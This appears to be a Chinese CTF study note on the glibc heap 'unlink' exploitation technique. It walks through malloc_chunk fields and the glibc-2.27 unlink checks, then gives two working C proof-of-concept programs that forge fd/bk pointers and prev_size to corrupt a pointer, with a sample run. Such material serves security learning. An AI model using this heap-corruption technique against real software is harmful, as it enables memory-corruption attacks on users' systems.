unlink 漏洞笔记
TOC
1. 前导知识 1.1. malloc_chunk 结构 1.1.1. 部分字段的具体的解释如下 1.2. 然我们先来看看源码: 1.3. glibc-2.27/malloc/malloc.c:1403 1.4. size检查 1.5. 双向链表完整性检查 1.6. 双向链表完整性检查 1.7. 核心部分 2. 利用思路 2.1. 条件 2.2. 效果 2.3. 思路 3. 代码举例 3.1. 一般情况下的unlink漏洞举例 3.1.1. 要点 3.1.2. 运行实例(环境:glibc-2.23) 4. 总结
资料来源:ctf-wiki
前导知识 malloc_chunk 结构 struct malloc_chunk { INTERNAL_SIZE_T prev_size; INTERNAL_SIZE_T size; struct malloc_chunk * fd; struct malloc_chunk * bk; struct malloc_chunk * fd_nextsize; struct malloc_chunk * bk_nextsize; };
部分字段的具体的解释如下
fd,bk
。 chunk 处于分配状态时,从 fd 字段开始是用户的数据。chunk 空闲时,会被添加到对应的空闲管理链表中,其字段的含义如下
fd 指向下一个(非物理相邻)空闲的 chunk
bk 指向上一个(非物理相邻)空闲的 chunk
通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理
fd_nextsize, bk_nextsize
,也是只有 chunk 空闲的时候才使用,不过其用于较大的 chunk(large chunk)。
fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小的顺序排列。这样做可以避免在寻找合适 chunk 时挨个遍历
。
我们在利用 unlink 所造成的漏洞时,其实就是对进行 unlink chunk 进行内存布局,然后借助 unlink 操作来达成修改指针的效果。
我们先来简单回顾一下 unlink 的目的与过程,其目的是把一个双向链表中的空闲块拿出来(例如 free 时和目前物理相邻的 free chunk 进行合并)。其基本的过程如下
然我们先来看看源码: glibc-2.27/malloc/malloc.c:1403 #define unlink(AV, P, BK, FD) { \ if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr ("corrupted size vs. prev_size" ); \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr ("corrupted double-linked list" ); \ else { \ FD->bk = BK; \ BK->fd = FD; \ if (!in_smallbin_range (chunksize_nomask (P)) \ && __builtin_expect (P->fd_nextsize != NULL, 0)) { \ if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ malloc_printerr ("corrupted double-linked list (not small)" ); \ if (FD->fd_nextsize == NULL) { \ if (P->fd_nextsize == P) \ FD->fd_nextsize = FD->bk_nextsize = FD; \ else { \ FD->fd_nextsize = P->fd_nextsize; \ FD->bk_nextsize = P->bk_nextsize; \ P->fd_nextsize->bk_nextsize = FD; \ P->bk_nextsize->fd_nextsize = FD; \ } \ } else { \ P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ } \ } \ } \ }
由于glibc-2.23的源码没有size检查
,但是发行的库中却有size检查
,所有鄙人用glibc-2.27的源码。
size检查 if (__builtin_expect (chunksize (P) != prev_size (next_chunk (P)), 0 )) \ malloc_printerr ("corrupted size vs. prev_size" ); \
由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
双向链表完整性检查 FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0 )) \ malloc_printerr ("corrupted double-linked list" ); \
检查 fd 和 bk 指针。
双向链表完整性检查 if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0 ) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0 )) \ malloc_printerr ("corrupted double-linked list (not small)" ); \
这个平常不怎么用到,是对于 large bin
的检查。
核心部分 FD->bk = BK; \ BK->fd = FD; \
即通过此方式,P 的指针指向了比自己低 12 的地址处。此方法虽然不可以实现任意地址写,但是可以修改指向 chunk 的指针,这样的修改是可以达到一定的效果的。
利用思路 条件
UAF ,可修改 free 状态下 smallbin 或是 unsorted bin 的 fd 和 bk 指针
已知位置存在一个指针指向可进行 UAF 的 chunk
效果 使得已指向 UAF chunk 的指针 ptr 变为 ptr - 0x18
思路 设指向可 UAF chunk 的指针的地址为 ptr
修改 fd 为 ptr - 0x18
修改 bk 为 ptr - 0x10
触发 unlink
**ptr 处的指针会变为 ptr - 0x18
**。
代码举例 原理就如下面的代码所示:
#include <stdio.h> #include <stdlib.h> #define MACHINE_SIZE (sizeof(void *)) struct malloc_chunk { size_t prev_size; size_t size; struct malloc_chunk *fd; struct malloc_chunk *bk; struct malloc_chunk *fd_nextsize; struct malloc_chunk *bk_nextsize; }; int main () { struct malloc_chunk *chunk1, *chunk2; char *ptr1, *ptr2; ptr1 = malloc (0x80 ); ptr2 = malloc (0x80 ); chunk1 = ptr1 - 2 * MACHINE_SIZE; chunk2 = ptr2 - 2 * MACHINE_SIZE; free (ptr1); chunk1->fd = ((char *)&chunk1) - 3 * MACHINE_SIZE; chunk1->bk = ((char *)&chunk1) - 2 * MACHINE_SIZE; fprintf (stderr, "Starting chunk1: %p ; &chunk1: %p\n" , chunk1, &chunk1); free (ptr2); fprintf (stderr, "Then chunk1: %p ; &chunk1: %p\n" , chunk1, &chunk1); fprintf (stderr, "%p(&chunk1) - %p(chunk1) = %d\n" , &chunk1, chunk1, (char *)&chunk1 - (char *)chunk1); return 0 ; }
一般情况下的unlink漏洞举例 要点
修改下一个相邻chunk的prev_size
,使其与构造的假chunk相对应。
修改下一个相邻chunk的prev_in_use
位为未使用状态。
一般都是由heap overflow
来实现上述操作的。
#include <stdio.h> #include <stdlib.h> #define MACHINE_SIZE (sizeof(void *)) int main () { char *ptr1, *ptr2; ptr1 = malloc (0x80 ); ptr2 = malloc (0x80 ); *(void **)(ptr1 + 2 * MACHINE_SIZE) = (char *)&ptr1 - 3 * MACHINE_SIZE; *(void **)(ptr1 + 3 * MACHINE_SIZE) = (char *)&ptr1 - 2 * MACHINE_SIZE; *(size_t *)(ptr2 - 2 * MACHINE_SIZE) = (*(size_t *)(ptr1 - 1 * MACHINE_SIZE) - 2 * MACHINE_SIZE) & (-8 ) ; *(size_t *)(ptr2 - MACHINE_SIZE) -= 1 ; fprintf (stderr, "Starting ptr1: %p ; &ptr1: %p\n" , ptr1, &ptr1); free (ptr2); fprintf (stderr, "Then ptr1: %p ; &ptr1: %p\n" , ptr1, &ptr1); fprintf (stderr, "%p(&ptr1) - %p(ptr1) = %ld\n" , &ptr1, ptr1, (char *)&ptr1 - (char *)ptr1); return 0 ; }
运行实例(环境:glibc-2.23) ex@ubuntu:~/test$ gcc main.c -o main ex@ubuntu:~/test$ ./main Starting ptr1: 0x1020010 ; &ptr1: 0x7ffeb72fdb88 Then ptr1: 0x7ffeb72fdb70 ; &ptr1: 0x7ffeb72fdb88 0x7ffeb72fdb88(&ptr1) - 0x7ffeb72fdb70(ptr1) = 24 ex@ubuntu:~/test$
总结 像unlink
这种比较抽象的漏洞需要多多写几遍他的C语言漏洞实例以保持手感,要不然时间过久了,再次看到unlink
的话就会变得很生疏。